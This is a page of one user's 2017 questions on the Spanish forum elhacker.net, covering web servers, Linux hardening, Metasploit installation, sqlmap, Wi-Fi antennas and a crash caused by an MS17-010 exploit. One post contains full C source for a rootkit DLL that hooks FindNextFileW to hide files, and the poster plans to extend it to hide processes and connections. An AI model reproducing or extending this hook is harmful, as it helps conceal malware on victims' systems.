elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Tutorial básico de Quickjs


  Mostrar Temas
Páginas: 1 2 3 [4] 5 6
31  Informática / Electrónica / De que forma un proveedor de CATV bloquea ciertos canales (HBO, Venus)? en: 11 Agosto 2017, 05:32 am
Muy buenas! Me surgió la duda sobre cómo hace un proveedor de CATV (por ejemplo VTR, Cablevision,etc) para bloquear ciertos canales, como por ejemplo HBO, Venus, y otros canales, y cómo los debloquea cuando uno paga la suscripción para dichos canales... Saludos y gracias
32  Seguridad Informática / Seguridad / Apache vs NGINX en: 26 Julio 2017, 03:24 am
Buenas! Estaba leyendo un poco algunas comparativas entre ambos webservers. Según entendí Apache utiliza un thread por cada conexión que se establece, característica que puede llegar a reducir el rendimiento. NGINX procesa todas las request en el mismo proceso sin dividir por threads. Entonces si es por el tema del rendimiento yo creo que me quedaría con NGINX, además los sitios más grandes utilizan éste web server (Facebook WordPress, tumblr, Instagram, Yahoo, YouTube, Pinterest, Zynga, SourceForge, GitHub, DropBox, Intel, NetFlix), y muchos CDN (Cloudflare, NetDNA/MaxCDN, Cachefly, ProCDN/MediaTemple)

En cuanto la seguridad, estuve buscando las vulnerabilidades de ambos web server en cve-mitre. Noté que NGINX tiene 13 vulnerabilidades en total, mientras que Apache 823.

http://www.cvedetails.com/vendor/10048/Nginx.html
https://www.cvedetails.com/vulnerability-list/vendor_id-45/Apache.html

lo cuál me lleva a creer o que NGINX es mucho más seguro, o que los hackers se enfocan más en atacar a servidores Apache.

Entonces si lo que planteo es correcto, NGINX es más rápido y seguro, por lo que es una opción mejor a Apache. Me gustaría que me corrigieran ya que puede haber sacado mal las conclusiones, y que me dijeran con qué opción se quedarían ustedes y los motivos. Saludos y gracias!
33  Seguridad Informática / Seguridad / Distro de linux más segura para usar como servidor en: 23 Julio 2017, 06:35 am
Muy buenas! Estaba aprendiendo algunas cosas sobre hardening en linux y me gustaría saber para ustedes cuál es el mejor linux teniendo la seguridad como criterio principal, para utilizar como servidor (por ejemplo un servidor web). Se que lo más importante son las herramientas, reglas, políticas y configuraciones que cada uno haga, pero seguramente puedan recomendar alguna distro por X motivo... Por ejemplo esta mañana descargué Fedora y noté que ya viene con SELinux habilitado por defecto. Me gustaría tener un sistema Linux, cómodo, seguro, que tenga snort o algún buen NIDS, que tenga SELinux, iptables/netfilter.
34  Programación / Programación C/C++ / Error al compilar una DLL en: 10 Julio 2017, 23:01 pm
Muy buenas! Estaba investigando sobre DLL injection y quería compilar una DLL en la que se hace api hooking a la system call que lista archivos. Estoy trabajando en Windows 7 x64 con CodeBlocks y el compilador mingw que viene incluido con el IDE. La DLL que quiero compilar la obtuve de éste sitio:

https://losindestructibles.wordpress.com/2012/10/15/creacion-de-rootkit-desde-cero/

Es la siguiente:

Código
  1. #include "StdAfx.h"
  2. #include <windows.h>
  3. #include <iostream>
  4. #include <cstdlib>
  5.  
  6.  
  7. // DECLARACIONES:
  8. BYTE *BufferFN;                 // Buffer que usaremos para ejecutar el api original FindNextFileW
  9. char Prefijo[] = "S7K";   // El prefijo que buscaremos para ocultar archivos/carpetas
  10.  
  11.  
  12. // FUNCIONES:
  13. void    Hookear();  // Función que hookeará el api
  14.  
  15.  
  16. // Función que será llamada en vez de FindNextFileW
  17. HANDLE  __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData);
  18. // Puntero a función con el cual llamaremos al api FindNextFileW original
  19. HANDLE (__stdcall *pBuffFN) (HANDLE hFindFile, LPWIN32_FIND_DATAW lpFindFileData);
  20.  
  21.  
  22.  
  23.  
  24.  
  25. // FUNCIÓN MAIN
  26. bool WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
  27. {
  28. // Si cargan la DLL hookeamos
  29. if (fdwReason == DLL_PROCESS_ATTACH)
  30. {
  31. Hookear();
  32. }
  33. return TRUE;
  34. }
  35.  
  36.  
  37.  
  38. // FUNCIÓN QUE LLAMARÁ EL PROGRAMA PRINCIPLA CREYENDO QUE ES EL API FINDNEXTFILEW
  39. HANDLE  __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData)
  40. {
  41. // Ocultamos los archivos que empiecen por el prefijo indicado
  42.  
  43. HANDLE hand;
  44. char ascStr[611];
  45.  
  46. do
  47. {
  48. hand = pBuffFN(hFindFile,lpFindFileData);
  49. WideCharToMultiByte(CP_ACP, 0, lpFindFileData->cFileName, -1, ascStr, 611, NULL, NULL);
  50.  
  51. }while (strncmp(ascStr,Prefijo,strlen(Prefijo)) == 0 && hand != NULL);
  52.  
  53. return hand;
  54. }
  55.  
  56.  
  57. // FUNCIÓN PARA HOOKEAR FINDNEXTFILEW Y FINDFIRSTFILEW
  58. void Hookear()
  59. {
  60. DWORD ProteVieja;  // Parametro para VirtualProtect
  61. BYTE  *DirFN;      // La dirección en memoria de FindNextFileW
  62. BYTE  *DirYoFN;    // La dirección en memoria de la función que remplaza a FindNextFileW
  63.  
  64. // --> HOOKEAMOS FINDNEXTFILEW (7 bytes)
  65.  
  66. // Obtenemos la dirección en memoria de FindNextFileW.
  67. DirFN=(BYTE *) GetProcAddress(GetModuleHandle("kernel32.dll"), "FindNextFileW");
  68.  
  69. //Reservamos 12 bytes de memoria para nuestro Buffer
  70. //FindNextFileW ocupa 7 bytes en la memoria, y necesitamos 5 más para poner nuestro salto alli estan los 12 bytes :D
  71. BufferFN=(BYTE *) malloc (12);
  72.  
  73. //Le damos todos los permisos a los 12 bytes de nuestro Buffer
  74. VirtualProtect((void *) BufferFN, 12, PAGE_EXECUTE_READWRITE, &ProteVieja);
  75.  
  76. // Copiamos los 7 primeros bytes del api en el buffer
  77. memcpy(BufferFN,DirFN,7);
  78. BufferFN += 7;
  79.  
  80. // En los 5 bytes restantes...
  81. // En el primero introducimos un jmp
  82. *BufferFN=0xE9; //0xE9 es el codigo de operacion del jmp
  83. BufferFN++;
  84.  
  85. // En los otros 4 la distancia del salto
  86. *((signed int *) BufferFN)= DirFN - BufferFN + 3;
  87.  
  88. // Asignamos al puntero, la funcion pBuff del inicio del Buffer para poder ejecutar el api original
  89. pBuffFN = (HANDLE (__stdcall *)(HANDLE,LPWIN32_FIND_DATAW)) (BufferFN-8);
  90.  
  91. // Le damos todos los permisos a los 5 primeros bytes de la api original
  92. VirtualProtect((void *) DirFN,5,PAGE_EXECUTE_READWRITE,&ProteVieja);
  93.  
  94. // Cambiamos el tipo a puntero a byte para facilitar el trabajo
  95. DirYoFN=(BYTE *) miFindNextFileW;
  96.  
  97. // En el inicio de la api metemos un jmp para que salte a miFindNextFileW
  98. *DirFN=0xE9;
  99. DirFN++;
  100.  
  101. // Metemos la distancia del salto
  102. *((signed int *) DirFN)=DirYoFN - DirFN - 4;
  103. // Libermos librerias de cache
  104.        FlushInstructionCache(GetCurrentProcess(),NULL,NULL);
  105. }
  106.  

Cuando quiero compilarla, el compilador devuelve el error:

undefined reference to `WinMain@16'

Build log:
Citar
D:\BACK UP\Agus\zVarios\Jack\Code fuente rootkit\DLL\DLL.cpp: In function 'void Hookear()':
D:\BACK UP\Agus\zVarios\Jack\Code fuente rootkit\DLL\DLL.cpp:104:56: warning: passing NULL to non-pointer argument 3 of 'BOOL FlushInstructionCache(HANDLE, PCVOID, DWORD)' [-Wconversion-null]
mingw32-g++.exe  -o "D:\BACK UP\Agus\zVarios\Jack\Code fuente rootkit\DLL\DLL.exe" "D:\BACK UP\Agus\zVarios\Jack\Code fuente rootkit\DLL\DLL.o"  
c:/program files (x86)/codeblocks/mingw/bin/../lib/gcc/mingw32/4.7.1/../../../libmingw32.a(main.o):main.c:(.text.startup+0xa7): undefined reference to `WinMain@16'
collect2.exe: error: ld returned 1 exit status
Process terminated with status 1 (0 minute(s), 0 second(s))
1 error(s), 1 warning(s) (0 minute(s), 0 second(s))

Imagen:


Quiero entender que estoy haciendo mal, ya que al googlear el error hay mucha gente a la que el compilador les devuelve el mismo error que el mio, pero porque tenían otros errores en su código como por ejemplo usar Main() con mayúscula, u otros, pero no se qué hacer en éste caso en particular... Espero poder compilar ésto asi luego mejoro la DLL para hacer api hooking a system calls que listen procesos y conexiones de red... Muchas gracias por su tiempo!
35  Sistemas Operativos / GNU/Linux / Debian 4: Problemas de dependencias apt-get en: 2 Julio 2017, 05:54 am
Que tal! Resulta que quería instalar metasploit en mi Debian 4.

Código
  1. cat /etc/issue
  2. Debian GNU/Linux 4.0 \n \l
  3.  
  4. uname -r
  5. 2.6.18-6-486
  6.  

Estaba siguiendo los pasos de éste enlace: https://fity666.wordpress.com/about/
que decía:

Citar
Lo primero sera instalar las dependencias de ruby las cuales son esenciales para su instalación

sudo apt-get install ruby libruby rdoc
sudo apt-get install libyaml-ruby
sudo apt-get install libzlib-ruby
sudo apt-get install libopenssl-ruby
sudo apt-get install libdl-ruby
sudo apt-get install libreadline-ruby
sudo apt-get install libiconv-ruby
sudo apt-get install rubygems *

apt-get install libgtk2-ruby libglade2-ruby

El paso siguiente es descargar metasploit desde su sitio oficial

http://www.metasploit.com/framework/download/

Cuanto empiezo por el primer comando:

Citar
apt-get install ruby libruby rdoc

Obtengo ésta salida:

Citar
apt-get install ruby libruby rdoc
Reading package lists...
Building dependency tree...
Reading state information...
ruby is already the newest version.
libruby is already the newest version.
rdoc is already the newest version.
0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
2 not fully installed or removed.
After this operation, 0B of additional disk space will be used.
Setting up cupsys-client (1.2.7-4+etch9) ...
Adding group `lpadmin' (GID 110) ...
groupadd: unable to lock group file
addgroup: `/usr/sbin/groupadd -g 110 lpadmin' returned error code 10. Exiting.
dpkg: error processing cupsys-client (--configure):
 subprocess post-installation script returned error exit status 1
dpkg: dependency problems prevent configuration of cupsys-bsd:
 cupsys-bsd depends on cupsys-client (= 1.2.7-4+etch9); however:
  Package cupsys-client is not configured yet.
dpkg: error processing cupsys-bsd (--configure):
 dependency problems - leaving unconfigured
Errors were encountered while processing:
 cupsys-client
 cupsys-bsd
E: Sub-process /usr/bin/dpkg returned an error code (1)

Como ven, los paquetes de ruby que necesito para instalar metasploit no se pudieron instalar como corresponde. Tengo muchos problemas con el apt-get. Mi sources.list contiene lo siguiente:

Citar

Ya hice un apt-get update, y luego probé también apt-get upgrade y aquí obtengo problemas parecidos al que compartí aquí arriba...

Me gustaría que me dieran alguna idea para resolver mi problema. Si necesitan algo más de información, avisenme. Saludos y gracias!

36  Foros Generales / Sugerencias y dudas sobre el Foro / Como eliminar un thread del foro? en: 2 Julio 2017, 00:54 am
Que tal, tenía un problema pero ya lo resolví y quería eliminar la pregunta pero no encuentro la forma de hacerlo. Gracias
37  Seguridad Informática / Nivel Web / No entiendo como funciona éste tipo de parámetro en sitio web en: 2 Junio 2017, 23:43 pm
Miren como funciona éste buscador:

http://www.ejemplo.com//SEARCHED/ST=mi_busqueda/gbpws.aspx

Fijense donde resalté mi_busqueda, aquí está el valor del parametro que utiliza el buscador de éste sitio web de ejemplo. Hay varias cosas que no enteindo en ésta url, entre ello no entiendo por que hay dos barras '//' entre el .com y el SEARCHED. SEARCHED lo interpreto como un directorio dentro de la web, pero entre las dos '//', se me viene algo a la mente como un directorio fantasma, sin nombre, pero no entiendo como puede ser posible. Después, no entiendo que sería 'ST', lo lógico sería que fuera el nombre del parámetro, pero no entiendo por que está antes del archivo .aspx que sería el archivo de la página en si. Lo normal, y lo que veo dia a dia en todas las webs es que los parámetros estén después del nombre de la página seguido a un signo de interrogación '?'

Por ejemplo, yo estoy acostumbrado a que la página sea de éste modo:

http://www.ejemplo.com/SEARCHED/gbpws.aspx?ST=mi_busqueda

Me gustaría que me ayudaran a entender la naturaleza de este enlace y también saber como se podría inyectar a través de sqlmap a un parámetro como éste, ya que la opción -p ST no funciona en éste caso.

Saludos y gracias!
38  Seguridad Informática / Hacking Wireless / Sobre potencia de un adaptador (mW) y ganancia de una antena (dBi) en: 27 Mayo 2017, 08:53 am
Qué tal! Ésta es una duda que tengo desde hace mucho. Se que la potencia es adherente al adaptador y la ganancia a la antena... Pero quiero saber que es exactamente lo que cambiaría al tener un adaptador con más potencia y/o una antena con más ganancia. Cuanto mayor es el número de ambas medidas, mayor sería la distancia máxima de las señales que puedo escuchar?

Y si por ejemplo tengo:
Un adaptador de 500mW y una antena de 18dBi
o
Un adaptador de 1000mW y una antena de 5dBi

estaría teniendo algo equivalente?

P.D: ya se que existen antenas direccionales y omnidireccionales, y que las direccionales intensifican la señal en una dirección especifica, y las omnidireccionales la distribuyen equitativamente en todas las direcciones.

Gracias por ayudarme a aclarar las dudas. Saludos!
39  Comunicaciones / Redes / Capturar trama ethernet completa en: 25 Mayo 2017, 10:05 am
Que tal, estuve capturando los paquetes que entran y salen de mi pc, y noté que en la sección de la trama ethernet solo figuran la MAC destino, origen y el ethertype, pero nunca veo el preámbulo, ni el CRC que según leí también forman parte de una trama ethernet. Quería saber por qué no me llegan dichos campos. Saludos
40  Seguridad Informática / Bugs y Exploits / Kernel panic probando Windows SMB RCE (MS17-010) en: 14 Mayo 2017, 06:30 am
Muy buenas! Como muchos sabran estos días se dieron a conocer vulnerabilidades gravisimas que afectaron a Telefónica y otras empresas y técnicas de la CIA, todas afectando a la mayoría de sistemas Windows. Estuve leyendo un poco sobre el ransomware Wanna Cry, y descubrí que usa como base ésta nueva vulnerabilidad en el protocolo SMB que corre en el puerto 445 de Windows y que es accesible desde adentro de una LAN. En base a éste fallo, se creo el malware que se propaga y cifra todo lo que esté a su paso. La forma para no ser vulnerable es a través de la actualización de windows MS17-010. Bueno, queriendo experimentar un poco con ésto, encontré éste exploit en exploit-db.com:

https://www.exploit-db.com/exploits/41987/

Abrí una máquina virtual con Kali, descargue el exploit, lo llame ms17010.py, le di permisos de ejecución, y lo ejecute de la siguiente forma :

python3 ms17010.py ipaddress

en ipaddress utilice la ip privada de mi mi Windows 7 (el SO que tengo instalado en disco y no corro virtualizado). Luego de ejecutarlo esperaba encontrarme con varios errores en el interprete de python que debería depurar, como suele pasar frecuentemente con los exploits de exploit-db.com, pero no, mucho peor... Windows me tiró Kernel Panic (BlueScreen), me gustaría saber si ustedes lo probaron y les paso lo mismo que a mi, o si encontraron algo que modificar y lo modificaron para dejarlo funcionando.

Saludos y muchas gracias desde ya!
Páginas: 1 2 3 [4] 5 6
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines